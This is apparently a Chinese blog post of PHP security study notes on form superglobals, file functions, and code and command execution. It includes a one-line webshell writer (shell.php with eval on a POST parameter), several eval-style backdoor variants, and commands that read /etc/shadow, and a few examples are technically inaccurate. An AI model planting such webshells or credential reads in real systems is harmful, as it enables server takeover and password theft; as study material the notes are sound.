木肃的博客

php表单+文件+代码、命令执行

表单处理

  • 三种接收表单数据的方式$_GET$_POST$_REQUEST

    • 特性:
      • 超全局变量
      • 都是数组
    1
    2
    1.	$_GET
    此方式接收表单的method='get'方式传递的值
    1
    2
    2.	$_POST
    此方式接收表单的method='post'方式传递的值
    1
    2
    3.	$_REQUEST
    此方式接收表单get/post方式传递的值
  • 超全局变量$_SERVER:用于收集客户端请求信息

    1
    2
    3
    4
    5
    6
    7
    $_SERVER['SERVER_ADDR']		返回当前运行脚本所在的服务器的IP地址
    $_SERVER['REMOTE_ADDR'] 返回浏览当前页面的用户的IP地址
    $_SERVER['SERVER_NAME'] 服务器主机名
    $_SERVER['REMOTE_HOST'] 用户的主机名
    $_SERVER['REMOTE_PORT'] 用户连接到服务器的端口号
    $_SERVER['HTTP_HOST'] 返回来自当前请求的Host头
    $_SERVER['HTTP_REFERER'] 来源IP地址(从哪个IP地址跳转过来的)

文件操作

  • fopen():打开文件

    1
    fopen(文件名,打开文件的方式);
    • 打开文件常用的方式:
      • r:只读方式打开,指针位置在文件开头
      • r+:读写方式打开,指针位置在文件开头
      • w:写入方式打开,清空文件内容,如果文件不存在则创建
      • w+:读写方式打开,清空文件内容,如果文件不存在则创建
      • a:追加,打开并向文件末尾进行写操作,如果文件不存在则创建
      • a+:可读并追加。通过向文件末尾写内容,来保持文件内容
      • x:只写,创建新文件。如果文件已存在,则返回FALSE和一个错误
      • x+:读写,创建新文件。如果文件已存在,则返回FALSE和一个错误
  • fgets():逐行读取文件,每次只读取一行

    1
    fgets(文件名);
  • fread():按长度读取文件的内容

    1
    fread(文件名,长度);			换行也算一个长度
  • fwrite():写入文件

    1
    fwrite(文件名,内容);
  • fputsfwrite()的别名

  • fclose():关闭一个打开的文件

    1
    fclose(文件名);
  • feof():检测指针是否已到达文件末尾

    • 可以结合while循环来读取文件中所有的内容
    1
    2
    3
    4
    5
    6
    $file = fopen('a.txt','r');
    while(!feof($file)) //如果达到末尾,会返回TRUE
    {
    echo fgets($file);
    }
    fclose($file);
  • unlink():删除文件

  • opendir():打开文件夹

    1
    $file = opendir(目录);
  • readdir():读取文件夹(从目录句柄中读取条目)

    1
    readdir($file);
  • closedir():关闭文件夹

    1
    closedir($file);
  • file_exists():检查文件或目录是否存在

  • copy():复制文件

    1
    copy(源文件名,复制后的文件名);		可以移动的同时重命名文件
  • rename():重命名文件或目录

    1
    rename(源文件名,新文件名);
  • file_get_contents():把整个文件读入一个字符串中

    1
    file_get_contents(文件[,include_path,context,start,max_length])
  • file_put_contents:把一个字符串写入文件中

    1
    file_put_contents(string $filename,$data)

用文件操作写一句话:

1
<?php fputs(fopen('shell.php','w'),'<?php eval($_POST['cmd']);?>');?>

代码执行

  • eval()

    1
    2
    3
    函数里可以使用单引号或者双引号
    使用单引号:变量不转义
    使用双引号:变量被转义
  • assert()

  • preg_replace():正则里面使用/e模式

    1
    @preg_replace("/abc/e",$_REQUEST['cmd'],"abcd");
  • create_function():创建函数

    1
    $func = create_function('',$_REQUEST['cmd']); $func();
  • $_GET['a']($_GET['b']):动态创建函数

    1
    2
    要求:PHP版本5.2以下才可以使用
    在地址栏中使用:a=assert&b=phpinfo() 即可打印PHPinfo

命令执行

  • exec():使用它必须在第二个参数指定一个变量来接收执行的命令

    1
    2
    exec("cat /etc/shadow",$output);
    echo "<pre>$output</pre>";
  • system():命令会直接执行,无需变量接收

    1
    system("phpinfo()");
  • popen():此函数是打开一个进程,可读取此进程的结果

    1
    2
    3
    $file = popen("cat /etc/shadow",'r');
    echo fread($file,5000);
    pclose($file);
  • shell_exec():此函数需要一个变量在外接收它的结果并输出

    1
    2
    $output = shell_exec('ls -al');
    echo "<pre>$output</pre>";